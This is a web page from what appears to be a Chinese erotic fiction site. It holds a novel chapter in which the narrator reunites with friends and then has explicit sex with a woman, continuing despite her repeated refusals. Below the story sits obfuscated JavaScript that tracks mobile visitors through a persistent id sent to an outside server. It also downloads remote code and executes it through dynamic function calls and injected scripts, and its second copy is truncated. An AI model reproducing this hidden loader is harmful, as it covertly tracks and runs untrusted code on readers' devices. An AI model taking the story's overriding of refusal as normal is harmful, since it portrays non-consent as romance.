图片载入中

女同学美丽的部位

特大字】 【大字】 【中字】 【小字

因为是暑假……也不只因为这个原因,车站前人潮很多。

现在的时间已近中午,送货卡车的数量也就显眼了。因为车辆排出的废气和热气,让人觉得更加闷热了。

看了一下银行的数字钟,是10点32分。距和一哉约定的时间,还有将近30分钟。

我穿过小巷走向商店街。

熟悉的商店并排着,而面对十字路有那所药局─斋药局……是真子老师的住处。

轻敲了装饰在店前的骨董青蛙,我站在自动门前面。

玻璃门开了,“咏,你又敲了我的小青蛙吧?”

踉我说话的是亚子……真子老师的妹妹。亚子和真子老师,虽然是姊妹却不太像。比起华丽的姐姐,妹妹给人的感觉比较素。对我而言,亚子比较有趣,外表也很好看,我比较喜欢,但是她本人似乎对姐姐感到相当的自卑感。个性比较内向的亚子,整年都待在这药局的柜台,日复一日都是一副忧郁的脸。特别是这一年来似乎特别严重了。

“不,只是做例行的招唿而已。”

“别这样啊,别再打小青蛙了。”

或许是我的话欠缺说服力吧,亚子并没有听进去。亚子今年都已经20岁了,而“小青蛙”也不是什么了不得的东西……不过那个青蛙招牌从我第一次来这边的那天就已经在此坐镇了,据说在亚子出生之前就已经有了,我也多少可以了解她爱惜它的心情。最重要的是,这种“念旧”的心情是亚子的作风,我认为是她的优点。

“不过,外面可真热。”

像往日一样我俏皮地说着,“可不能只来闲逛不买东西哦。”

亚子在不高兴。

“难得我特地来看你呢……也罢。今天正好想买点东西。”

“要买什么?”

没办法了。只好想办法尽量让她说话。

“给我12打保险套。”

我故作姿态地说了。结果亚子先是惊讶的表情,而后又以怀疑的眼光看着我。

她伸手到柜台旁边的柜子,“用来做什么……”

她以带着紧张感的声音问我。

用来做什么?又不是中学生,可没人会拿来当气球玩。

我刻意地咳了一声后,“想在亚子身上用!”

把手伸向亚子夏装的腰带。

“啊!”发出叫声,亚子把架子上的保险套盒子散落了一地。

那修剪整齐的发型在摇动,眼中浮现害怕的神情。

“我要把店里的保险套全部用完,来确认我和亚子之间的爱。”

拉着腰带的我,说出了这些话“咏!”

亚子挥起了拳头。

握着拳头说“我生气罗”的样子,是亚子从中学以来就常摆的姿势,我很喜欢。而亚子看来很细长的手指,很漂亮。

“开玩笑的……朋友的女朋友过生日,我送她礼物捉弄一下。”

虽然有些不舍,我还是放开了亚子的腰带。

“坏嗜好,别这样做啊。”

说着,亚子的心情似乎好了些。特地拿出包装纸来包装,还绑上蝴蝶结。……除了我以外,还有把药品当生日礼物的怪人吗?

“其实该不会是咏想拿去做什么坏事吧?”

在快要包好的时候,亚子瞄了我一下。

我摇了摇头,她怀疑地把保险套交给我。

“谢了!亚子,我爱你。”

我抛了个飞吻。亚子把脸转一边去,但她的脸红了。

“我明天再来哦。”

对着挥手的我──

“不用来了。”

她生涩地回答。

上午11点5分。

照约定时间来到大时钟下的我,正如预料的,一哉还没来。

“嗨,咏!”

“还嗨,约我出来自己却迟到。”

眼前站的,穿着夏威夷衬衫像是在做可疑买卖的人就是坂上一哉。

烫卷了前面头发,看起来很轻浮的家伙,不过当朋友倒还不是那么差。要是说有不好的地方,大概就是老是“女人、女人……”

地喜欢泡妞吧。不过,我知道其实他根本还是处男。

……总之是那种说的比做的快的人。不过那也是一哉好的地方。

“那么,你打算买什么给久留美?”

走了几步后,我问一哉。

“哦,我是想送件罩衫什么的。我在这街上找到一家好的服饰店。那店里的人啊……”

说到一半,一哉似乎别有用心的“呵呵”地笑了。

“怎么啊,恶心的家伙。”

对皱了眉的我,一哉说“去了你就明白”,“呵呵呵……”地垂着嘴角。店员小姐大概是美女吧。

走没多久,来到一栋大楼前面,一哉满脸高兴地搭上电梯。

比起久留美,他现在似乎更在乎店员小姐的事。真是伤脑筋的家伙。

电梯门一开,感觉很不错的一家服饰店。

看到一哉快乐……该说是下流的表情,我也多少想知道“是如何漂亮的小姐”。

跟着一哉进到店里,看到可能是店员的女子正背对我们整理商品。

“哦哦……”

细致的腰身,修长的腿,垂到腰际的黑色长发,背影算是满分了。

“欢迎光临。”

摇动着黑发,她转过身来。

在那瞬间,我的时间停住了。……她或许也一样。

“你好,夏子……他是我朋友悭村。”

完全没发觉我的表情,一哉说了。

但是,彼此用不着介绍,我们那知道名字。

正树夏子。我和她在二年前的夏天相识过。夏子是第一个让我了解“女人”肉体的人。

那个夏天……上了高中的第一个夏天……我在伊豆的白滨海岸打工卖冰〔老是这样〕。从劳动中解放的我,遇到在黄昏海岸独自看海浪的女子。那就是夏子。

独自旅行的夏子和结束打工的我,一起渡过了几天的时间。海水浴、骑自行车、运动,我们都一起去玩。

而终于到了要回东京的前一天夜里……我和夏子结合了。在此之前完全不懂“女人”的我,夏子教了我一切的事。

到现在,我还忘不了那一夜。

我非常的紧张,连入口也不知道在哪里。被夏子想要引导我的手指温柔碰到时,我不觉地全发泄了出去。

喷射而出降落在夏子平滑的腹部、丰满的乳房,以及前端硬固了的乳头上,一片白污。

这时候,如果夏子责怪我不中用的话,我或许就此对自己矢去自信了。但是,夏子却相反的,她微笑地为我鼓起勇气,将我已经萎缩的本体含在口中。在温暖的舌头拨动下,我再次焕发了起来。

在黎明到来之前,我用尽了一切力量去爱夏子。我所希望的,夏子全都回应了。我尽情地享受了扭曲成各种角度的女体,逐渐沈醉的夏子,也忘我地和我相爱。

但是我发现到了。

夏子的心是带着伤的……。

详情我并不知道。但正因为受够了伤害,她才一个人出来旅行吧。会找上我,也一定是为了要忘掉什么的。

虽然了解这件事,我却什么也不能做。因为如果像我这样年少的人,用自以为了解的口气去安慰她的话,那就更悲惨了。

结果,早晨一来临,我就和夏子说再见了,彼此没有留下住址在小车站的月台分手了。对我而言,短短数日间所爱的女人,那是同时尝到甘与苦的夏日回忆。

〔从那以后,已经二年了啊……〕“哪,你觉得这个好吗?”

一哉的声音打破了回忆。

“呃……很合适嘛……”

对着苦笑的我,夏子微笑了。

“哎呀,一哉要送女朋友礼物吗?”

看着一哉所挑的罩衫,夏子拨起了长发。

“如何、如何,是个美女吧?”

手提着包着罩衫的袋子,一哉一副笑脸。

离开夏子的服饰店,再次回到了街上。

“怎么了,咏?太漂亮了,你连话都说不出口了吗?”

面对硬是要追问感想的一哉,“嗯……”我敷衍地回答。

因为沈溺在感慨之中,我竟然被这家伙拿走了买罩衫所需的费用〔总归还算是借给他的,不过他几时才会还呢?〕,而且这家伙竟然在夏子面前宣称久留美“才不是女朋友,只是像妹妹一样而已”。

“夏子我会追到手的!”

一哉突然这么说了。

“夏子,那么……你这家伙,久留美要怎么办啊?”

“久留美也会追到手!”

一哉淡然地回答。

“算了吧。所谓“鱼与熊掌不可兼得”啊。”

总之我还是得忠告他一下。久留美姑且不说,我不觉得夏子会理会一哉。她要的是成熟的男人。

“放心,久留美那边已经差不多了。今明两天就会搞定的。”

面对自信满满放话的一哉,我只有“罢了罢了”地耸耸肩。

如果以为一件礼物就能把女孩子弄到手,那么结果就可想而知。希望不会变成“只留下寂寞回忆的夏天”那就好了。

“一哉,有件事我得先说啊,要是不先考虑对方,大概会落个悲惨的结果哦。”

对我的话,一哉“哦”地点了头。但是,是否真的明白了,那还是个疑问。

在说东说西的当中,已经到了一哉和久留美约定的地方……茶店“OTIMTIM”。而这里也是喜欢咖啡的我常来的地方。这我最喜欢这边的调合咖啡。

当郎……打开挂着铃当的门,两个女孩来迎接我们。

坐在吧台椅子上,“啊,咏。好久不见了。”高兴挥手的就是久留美。脚踏两条船的一哉可怜的〔?〕女朋友,仁科久留美。

在吧台里停止洗东西,“哼”地看着我的是里美。黑川里美。

清爽的短发、以女孩子来说身材略高大的里美……和把繁密的头发细心地在左右绑成辫子,以高中生而言算是身材较瘦小的久留美……相当对比的两人,然而都是我的同级生。喜欢男孩子气服装的里美,和少女打扮的久留美凑在一起,看起来很有趣。

“一哉,要喝什么?”

“我,义大利咖啡。”

对着在问点什么的里美,“我照平常的……”

“是,调合咖啡是吧。”

我不说她也明白的。

她和我是从小学以来的冤家。这家茶店“OTIMTIM”是里美叔父经营的店,里美是这里的招牌女孩……应该可以说是副店长了。她本人也梦想将来要经营茶店,所以每天都努力地工作。

“哦。还有,给我鸡蛋三明治。”

点好了东西,我才安定下来心情。

“咏,终于打完工了啊……,不是说要去爬山吗?”

擦着洗好的杯子,一边对我说话的里美…

“嗯,有点事……啊。很重的工作,我太累了。”

我让颈子卡卡地响了一下。不能说是因为占卜婆婆的怪预言而没去的,但是知道我不会因为那么点劳动就累倒的里美,还是对我投以怀疑的眼神。对里美想瞒什么都瞒不过。回想起来,一下子就看出我失去童贞的也是里美。我从以前就在她面前抬不起头来。毕竟和她认识久了,从我的个性、生活环境、思考模式、好恶……甚至连内裤的牌子她都知道,所以实在拿她没办法。再加上我唯一的大弱点也在里美面前泄露了。而且因为那件事还欠了她“人情”。

那是小学的事了。

当时正是去到奥多摩的露营地。夜里我觉得有尿意而走到屋外的公共厕所。在那边,正好遇上和我一样出来上厕所的里美。里美说“天很黑我很害怕……抱歉,你待在这里好吗?”所以我在厕所前暗淡的洗手台等着里美,就在那时候。

在我眼前,掉下来了最讨厌的“家伙”!就是蜘蛛!

我不觉地发出哀嚎,而且很不中用的,竟然抱住了里美。而问题就这么来了。我抱住里美的样子,被叫松河的同级生看到了。这个松河是人称“会走路的播音器”的多嘴婆,在这件事发生的翌日,成为众人的传闻了。

说是“黑川和悭村在夜里泡在一起”,然后“黑川和悭村在相爱”,最后“黑川没穿衣服,把悭村xxx给ooo了”。这样的谣言还传到了老师的耳中,而被叫到办公室去。对于觉得好玩而扩大谣言的家伙,我揍了他,但对女孩子倒是出不了手,没办法封她们的嘴。但令人欣喜的,是里美一直不吭声。肯定的话倒还不说,要是否定了,一定会被问“那么,为什么?”。如此一来,我就会成为“因为一只蜘蛛而哀叫并抱住女孩子的男孩”了。现在想起来是无所谓了,但对当时还是小孩子的我,有所谓的面子问题。

因为里美不理会周围的人,谣言也不知不觉地消失了。

反倒是我和里美因为这件事而成了“好朋友”,真是奇妙。

从小学到中学,高中都在一起的朋友,可是不多的。

而……里美对我的事知道七成多,但我却对里美的事知道的还不到五成?到现在才想到。到现在也才发觉到……

〔似乎,这么……突然有女人味了……可是,从小学以来从没听过里美谈到男孩子的事啊……现在是成长期吗?〕不可能这样吧。在女孩子当中,成长得特别早的里美,至少在中学二年级左右身高还超过我的。

背对我在煮咖啡的她,腰部的曲线看起来像是另一个人似的。

〔嗯……〕“啊,好棒!适不适合我呢?谢谢你,一哉。”

收到礼物的久留美,天真地在高兴着。

“这是我送的礼物。”

把在斋藤药局买的那个交给了她。

“嗯?”里美也觉得意外,从吧台探身出来。

“哇,连咏也送了?真高兴!”

面对毫无疑心笑容的久留美,我觉得有些过意不去。

“可以打开吗?”

手指着那东西的久留美,我急忙地制止她。

“不、不……最好是回家之后……在自己的房间打开好吗?”

看到我狼狈的样子,里美立刻插了嘴。

“咏送的生日礼物,反正不会有什么好东西的。还是丢掉比较好吧?”

的确不是好东西,不过她这个人也真是不说好话。

“咏,你送了什么了?”连不可爱的一哉也在无谓地发出疑问“罗嗦啊……久留美已经又成长了一岁,我想可能会用得到……的东西啊。”

听到我的话,里美“哈哈”地似乎想到里面是什么了,但一哉似乎并不明白。“嗯……”似懂非懂地暧昧回答之后,“那么时间也差不多了,走吧,久留美?”从座位起身,催促她。

“再见了,咏。这个钱就由我请客了。”

混蛋东西!你送给久留美的罩衫钱是谁替你付的啊,真是的。

目送挥着手走出店门的久留美,我不禁担心起可能会遭到一哉毒手的那瘦小背影。

不知道为什么一看到久留美,不知是妹妹……还是女儿……我的父性爱就骚动了起来。

“咏,真是坏兴趣。”

好像在哪听过的话,面向店外的我,慌忙转过身来。叉着手的里美,正在瞪着我。呵呵呵……。

骂我的人虽然不少,但被骂时唯一会说“对不起”的,就只有对里美而已了。她的话就是特别有说服力,真为难。

在默默吃着鸡蛋三明治的面前,里美浮现出怪异笑容。

“对了,咏,知道我的生日是什么时候吧?”

突然将脸越过吧台地靠过来。

“呃……”我差点把鸡蛋三明治噎在喉咙。

“呃,这个……不知道呢。”

当然装傻了一下,其实是知道的。是在一星期后的11月17日。

“咏……你这支手表不错哦。”

对不认帐的我,里美追击似地说了。

她至今从来没向我要过生日礼物,今年只能说是运气不好了。

真是,大大地散财了。

“知道了。我会考虑的。”

“没关系,反正我也只是说说而已。”

里美说出了像女孩子〔虽然原本就是女孩子……〕的话。脱下围裙,披上夹克。

“我想出去买一下东西,帮我看店好吗?”

“嗯。我是无所谓……”

我突然注意到了里美的夹克。

〔奇怪……?〕那是里美喜欢的,男孩穿的普通夹克……但是似乎曾经在哪看过……嗯……想不起来。

“那,我五分钟就回来,拜托了。”

里美出去买东西后,我还是左思右想。

第四节

“就在这死巷里面啊。”

我被带到离我住的公寓没多远的独立建筑。门牌上写着“佐久间”。

“来吧,进来……”

“那就打扰了。”

在这家的独生女“佐久间千春”的催促下,我从玄关走进了屋里。

太阳下山,窗户射进来火红色的阳光。

千春啪地打开了房间的电灯和冷气。

“等一等,我马上作好。”

立刻到厨房去了。

今天让这位千春招待晚餐。

我在客厅四处张望。

“你可能会无聊吧,看看电视吧。”

用盘子端来冰果汁的千春,已经穿上了围裙。

“今天家里都没人在,你不必紧张。,一打开电视的电源后,又急忙回到厨房去了。我不看电视,只顾着千春的背影。站在厨房的女人,我觉得是非常美的。我和千春的相遇,是在那地狱般的“赤毛制冰”工场里。在结束了令人厌烦的熬夜工作,换早班时,说了一声“辛苦了”的就是千春,在当时我疲倦不已的耳中,听起来有如“天使之声”。而后我们彼此会打招唿,很自然地谈起将来。因为工作时无法谈得尽兴,所以在外面见过了三次。其中二次是千春下班的时间,只是一起去喝喝茶而已,而第三次则去看了电影。

她今年是十九岁,比我要大了一岁。而我一直只叫她“千春”,目前是无业游民,不过她自称是无业游女,总之似乎是觉得无聊寂寞才去打工的。

虽然只差一岁,千春却很爱耍大姐的派头,在第三次约会时,看完电影后还带我去酒吧。

但是千春的酒量一点也不好,二杯加水威士忌就醉得团团转,非常好笑。而且,一听到我一直单独过日子,就“好好,姐姐亲手做料理给你吃!”

从外表看来,她实在不像会做菜的样子,所以我默不作声,但是……她却勒着我的脖子问“听见了吗?”

结果千春在酒吧中睡倒了,只好被迫送她回家了。

今天的招待,或许也有回谢的意义吧。

“啊……讨厌。你在看啊?”

似乎打点好了的千春,发觉到我一直在看她。

“没什么……千春很宜室宜家啊……我只是这么想着。”

我不禁老实地回答了。长久一个人独自生活,很容易被这种事吸引住的。“是,是吗……看起来是这样吗?”

千春高兴地微笑,开始把料理端来。最后从电锅中盛了饭。

“享用了。”

我立刻对料理动起筷子。

“好吃!”

我开口叫出的第一句话。

不是奉承,是真的好吃。千春竟然这么会做料理,很失礼地,实在没想到。

“好吃,太好吃!”

千春双手叉着手指,很开心地注视着我专注地把菜扒进口中。

“啊……。抱歉!吃相太差了一点吧?”

对回过神来的我,千春轻轻摇了摇头。

“不,比起装模作样吃东西的人,我比较喜欢一边说好吃一边拼命吃的人。”

说着,千春再替我添了饭。

“明天也将是很热的一天吧……”

一直开着的电视中,传来天气预告小姐的声音,但我都无所谓了。我舒畅地品味着难以形容的满足感,和饭后的咖啡香气。

千春正把盘子放回厨房上方的收纳架上。

垫起脚尖的千春,摇摇晃晃地似乎很惊险。

“真是……”在我起身想帮忙时,“啊!”一声,千春摇晃了起来。

我冲了过去,撑住了她的身体。

“谢谢。”

“不用客气。”

我胸怀里在回答着的千春颤动了一下。我几乎同时地发觉……

我现在正从背后抱住千春。

〔不,不好……这,这是……〕和丽子那个时候酷似的状况。

十秒……二十秒…不,足足将近一分钟,我和千春就这样无言地待着。我们紧贴在一起的中心接点─在失去重心而要倒下时,我的股间顶住她的臀间─说得明白一点,就是千春的臀部正压在我的那个地方。

而在可以感觉到千春柔软的臀部会颤抖一下的状况下,〔不行了!〕我如此想着,我的分身已经硬固地充血了。

千春似乎也发觉此事,腰部很明显地颤动起来,身体也僵硬了我照这样的姿势,缓缓地把盘子推进架子里。已经撑得硬梆梆的我的“男性”,像在挖掘似地在磨擦白桃的谷间。

已经到了极限了。

“千春!”

把盘子收进架子的瞬间,我猛然抱住了千春,从背后抓住乳房。那是比从衣服上所目测的,有着更实在质量感的乳房。“不,不要!”不顾千春回过神来所发出的喊叫,我狂乱地揉着那丰满的部位。几乎无法一手握住的那部分,在我的手指中挤压、揉捏、转动,变成各种形状。那是非常柔软而富弹性年轻的乳房。

“不行……我说不行啊……”

无视于口气已经逐渐变成呻吟的千春,我品味着胸部的圆滑,而发热的分身正激烈地磨擦着臀部的裂缝。

把手伸进围裙内侧,确认乳头的所在,千春的那部位已经兴奋得硬挺了。在唿吸中混入了“赞美的声响”时,我把千春转过来,夺取她的红唇。

尝试着把上身转过去的最后抵抗下,我再次覆盖上了嘴唇、再次贴合。抗拒舌头进入的千春,因为身体后仰的难受,所以很快就被攻陷了。在她大大吐气中,我立刻把舌头潜入了。

就像是电源线掉了一样,千春全身逐渐脱力了。

舌头开始蠢动,在互相贴合的口中,彼此的舌头在接触交缠着。结束了漫长的长吻之后,我把千春筋疲力尽的身体抱上流理台。

除去围裙,脱去衣服,取下内衣。

“我又没说要“招待”到这种地步啊……”

千春说了句好玩的话,我忍住不笑。

颈,还有丰满的像在相违逆般的胸围和臀围,这一切都好像在告诉男人的手,不去摸是种“罪恶”似的,美妙的肢体。

我想看看千春隐藏在封闭大腿之间的“女人”,我双手伸进她的两膝。

千春察觉我的意图而“啊”一声,但因为两手撑着上半身而无法用来掩盖重要的部位。大腿似乎略在使力,但坐在流理台上不安定的姿势,使她无着力点。结果只有让我好好欣赏了。我刻意缓缓地打开来颤抖着的内股,慢慢地,开始能看见千春的秘处。千春张开了眼,注视着逐渐被打开的那部位。

“啊啊……”

终于,呈现出来了。让我完全看遍了的千春,脸倾到一边,发出了相当撩人的叹息。面对着期望看到的花蕊,我不由倒吞了一口气。那边已经开着一朵用来迎接男人的鲜艳花朵了。美丽的淡红花瓣,浮现着透明的花蜜并显现出湿润的状态。接受了我的热情视线,满溢的花蜜滴了下来。

“多么美丽啊……。”

我说着,把脸靠近千春的内股。轻轻吻了一下花瓣,千春的大腿突然缩紧地夹住了我。伸出舌头,我细心地描着花瓣,在顶点结着硬固的淡淡真珠……找到了女人最敏感的部位,我“啾”地吸吮了一下,将舌头滚动着。

不知几时,千春两手抱着我的头,嘴唇发出甜美的泣叫声。

突然全身一阵颤动后,从花唇的深处喷出了透明的液体。

我站起身来脱下衬衫,拉下了长裤。全裸的股间,充血得疼痛的男性本体正耸立地对着天花板。

把千春的腰一把拉近了过来,我把前端顶在花瓣的中心。

和千春像是在害怕的眼神相对的瞬间,我一鼓作气地贯入了花蕊。

“啊!”突然被刺入体内深处的千春,皱起眉头地呻吟。但似乎并不是因为疼痛,反而似乎像是快感,像在咀嚼着那强烈的一击,眼眸湿润了起来。……看来,千春似乎喜欢做得“激烈”一点。

我抓住千春的侧腹后,“开始罗”说着猛然把腰前挺。

“啊──!”

途中千春开始发出喜悦的哀叫。但我并不放过。猛烈的把男体一出一进地,逐渐加快了速度。千春口中发出的哀叫,逐渐变成了低吟。大概是激烈过度而喘不过气吧。

“拜托……不要在这边……到我的……房间去……”

在呻吟之间,好不容易说出这么一句话后,千春疲累地倒在我胸口。我抱紧了千春,捧起她的臀部,保持结合状态地离开厨房。

“千春,到房间之前我们都不分开哦。”

我轻声一说,千春坦然地点头,两手圈住我的脖子,修长的腿缠住我的腰。这是一般所说的“车站便当”体位。

虽然看来好看,但我想并不会有多舒爽……为什么会知道这个呢?……其实是因为我和邻居的丽子试过了。好不容易说服了害羞的丽子,她才让我尝试的,但要说是快感不如说是重劳动〔丽子可没有多重哦〕。女人似乎比较喜欢刺激一点的,但我觉得终究只是在玩把戏而已,所以最后我和丽子面面相对着笑了起来。

但是和千春的情况似乎不同。比较承受不了被激烈刺入深处的千春,似乎相当有感受。我每踏出一步,她就“啊、啊”地发出声音。

终究每踏一步,我的男体就会“嘶!”地突刺到体内深处,也难怪会如此。

“左边的……房间啊……”

我抱着千春上了阶梯之后,走到房间前面。转了门把,走了进去。啪地开了灯。

“啊~嗯,不行!”千春伸手想关掉电灯,我对她说“不可以啊!”,立刻进到房间的角落。

“关灯的话,不就看不见我可爱的千春了吗?”

说着,我把她放在床边。

“都已经看得够多了……我会害羞啊……”

撒娇的千春,我又再把嘴唇贴过去。若是看不到这么美丽的女孩狂乱的样子,也许会后悔一生呢……对了,现在就让她更加害羞吧。

我把嘴唇移开后,让千春转过身去,让她两手撑着床缘,臀部高高抬起。锁定目标后,再次不管三七二十一地刺入。

“噢!”这混身的一击让千春仰头哀叫。或许已经略到高潮了,她用肘支撑着。我不顾一切抓着她的腰,以怒沆之势进攻千春。

从臀部的谷间隐约可见男女的结合部发出淫靡的声音,出入更加滑顺了。我可以感觉到从千春体内溢出的爱液经由腿的内侧滑落下去。女人一有感觉,身体就会支撑不住了。所以千春已经连用手肘也撑不住身子,她以肩膀承受着从背后来的官感。

拍打臀部的声音响遍房内,使我的心情更高亢。把手伸到千春的下腹部,摘取她敏感的肉芽扭曲着转动。千春的花瓣阵阵痉挛,又更加湿润了。

“我快发狂了……感觉好奇怪……”

千春的手紧握住我在玩弄阴核的手揩,就依她的话撤了回来,我暂停了活动,离开千春的身体。抽离的欲望之棍,被千春的体液湿润着而发亮,似乎愤怒地仰望着天空。

被抽离了桩木的千春,已经挺不起腰了,整个人趴倒在床边。

我温柔地抱起她的身子,让她仰卧在床的中央。

静静地俯躺在千春身上,做今天已不知是第几次的接吻。缓绥抚弄乳房,估量千春的身体又再燃起了火,我更进一步地爱抚像在挤奶似地抓着胸部,大声啄着那挺立出来的樱花色乳头。抚弄全身,在所到之处落下热吻之而,而后我抱起千春的大腿,把脚颈扛在肩上。在湿润的小径几次地磨擦挑弄之后,开始第三次插入。

我近乎笔直的突刺了进去,这个体位可以更深一层地结合。更深……更深……我像在打桩似地,送进她体内。

“啊啊,不行了。不行。……我受不了了……不行了……不行了……”

到底是什么不行了,身为男人的我永远不会明白,但千春哭泣着左右甩着头上气不接下气地求饶,但我这次可不放过她,反而更加强了威势。

“啊啊啊──!”

一阵特别大的哀叫声在房间响遍之后,千春动也不动地躺下。

同时,我也到极限,一直忍耐忍耐着的被解放了,温热的白浊从管中一股劲冲过,注入了千春的体内。不断不断,彷佛忘记要停止似的,猛烈的喷出。大概在最后一滴出尽了的时候,我才倒在千春身上,我用手肘顶着,以免压着她。

在我胸口下唿吸凌乱的千春,不久静静地睁开眼睛,这样说了“咏……喜欢我吗?”

“……呃,是啊。嗯。”

我萎缩的本体还在千春体内。而千春的女性部位,似乎想永远捉住它似地,“啾啾啾、啾啾啾”地抽动,缩紧了。

“出来好多呢……我感觉得到,满满地在我体内……”

在品味着女体温柔壁面的紧缩感中,我感觉到血液又流往下半身了。

“不会吧?”千春傻了眼。


上一篇:风流邪医(第七集)(05)

下一篇:芳怡.满月.团圆(完)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 